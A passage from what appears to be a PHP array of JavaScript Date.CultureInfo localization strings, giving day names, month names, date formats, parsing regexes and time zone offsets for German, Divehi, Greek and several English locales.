yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^märz/i,apr:/^apr(il)?/i,may:/^mai/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dez(ember)?/i,sun:/^sonntag/i,mon:/^montag/i,tue:/^dienstag/i,wed:/^mittwoch/i,thu:/^donnerstag/i,fri:/^freitag/i,sat:/^samstag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'dv-MV' => 'Date.CultureInfo={name:"dv-MV",englishName:"Divehi (Maldives)",nativeName:"ދިވެހިބަސް (ދިވެހި ރާއްޖެ)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["محرم","صفر","ربيع الأول","ربيع الثاني","جمادى الأولى","جمادى الثانية","رجب","شعبان","رمضان","شوال","ذو القعدة","ذو الحجة"],abbreviatedMonthNames:["محرم","صفر","ربيع الاول","ربيع الثاني","جمادى الاولى","جمادى الثانية","رجب","شعبان","رمضان","شوال","ذو القعدة","ذو الحجة"],amDesignator:"މކ",pmDesignator:"މފ",firstDayOfWeek:0,twoDigitYearMax:1451,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yy",longDate:"dd/MMMM/yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd/MMMM/yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^محرم/i,feb:/^صفر/i,mar:/^ربيع الأول/i,apr:/^ربيع الثاني/i,may:/^جمادى الأولى/i,jun:/^جمادى الثانية/i,jul:/^رجب/i,aug:/^شعبان/i,sep:/^رمضان/i,oct:/^شوال/i,nov:/^ذو القعدة/i,dec:/^ذو الحجة/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'el-GR' => 'Date.CultureInfo={name:"el-GR",englishName:"Greek (Greece)",nativeName:"ελληνικά (Ελλάδα)",dayNames:["Κυριακή","Δευτέρα","Τρίτη","Τετάρτη","Πέμπτη","Παρασκευή","Σάββατο"],abbreviatedDayNames:["Κυρ","Δευ","Τρι","Τετ","Πεμ","Παρ","Σαβ"],shortestDayNames:["Κυ","Δε","Τρ","Τε","Πε","Πα","Σά"],firstLetterDayNames:["Κ","Δ","Τ","Τ","Π","Π","Σ"],monthNames:["Ιανουάριος","Φεβρουάριος","Μάρτιος","Απρίλιος","Μάιος","Ιούνιος","Ιούλιος","Αύγουστος","Σεπτέμβριος","Οκτώβριος","Νοέμβριος","Δεκέμβριος"],abbreviatedMonthNames:["Ιαν","Φεβ","Μαρ","Απρ","Μαϊ","Ιουν","Ιουλ","Αυγ","Σεπ","Οκτ","Νοε","Δεκ"],amDesignator:"πμ",pmDesignator:"μμ",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/M/yyyy",longDate:"dddd, d MMMM yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dddd, d MMMM yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ιαν(ουάριος)?/i,feb:/^φεβ(ρουάριος)?/i,mar:/^μάρτιος/i,apr:/^απρ(ίλιος)?/i,may:/^μάιος/i,jun:/^ιούνιος/i,jul:/^ιούλιος/i,aug:/^αύγουστος/i,sep:/^σεπ(τέμβριος)?/i,oct:/^οκτ(ώβριος)?/i,nov:/^νοέμβριος/i,dec:/^δεκ(έμβριος)?/i,sun:/^κυ(ρ(ιακή)?)?/i,mon:/^δε(υ(τέρα)?)?/i,tue:/^τρ(ι(τη)?)?/i,wed:/^τε(τ(άρτη)?)?/i,thu:/^πε(μ(πτη)?)?/i,fri:/^πα(ρ(ασκευή)?)?/i,sat:/^σά(β(βατο)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-029' => 'Date.CultureInfo={name:"en-029",englishName:"English (Caribbean)",nativeName:"English (Caribbean)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"mdy",formatPatterns:{shortDate:"MM/dd/yyyy",longDate:"dddd, MMMM dd, yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dddd, MMMM dd, yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-AU' => 'Date.CultureInfo={name:"en-AU",englishName:"English (Australia)",nativeName:"English (Australia)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/MM/yyyy",longDate:"dddd, d MMMM yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dddd, d MMMM yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-BZ' => 'Date.CultureInfo={name:"en-BZ",englishName:"English (Belize)",nativeName:"English (Belize)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd MMMM yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd MMMM yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-CA' => 'Date.CultureInfo={name:"en-CA",englishName:"English (Canada)",nativeName:"English (Canada)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"MMMM d, yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"MMMM d, yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-GB' => 'Date.CultureInfo={name:"en-GB",englishName:"English (United Kingdom)",nativeName:"English (United Kingdom)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-IE' => 'Date.CultureInfo={name:"en-IE",englishName:"English (Ireland)",nativeName:"English (Eire)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-JM' => 'Date.CultureInfo={name:"en-JM",englishName:"English (Jamaica)",nativeName:"English (Jamaica)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, MMMM dd, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, MMMM dd, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-NZ' => 'Date.CultureInfo={name:"en-NZ",englishName:"English (New Zealand)",nativeName:"English (New Zealand)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/MM/yyyy",longDate:"dddd, d MMMM yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dddd, d MMMM yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM 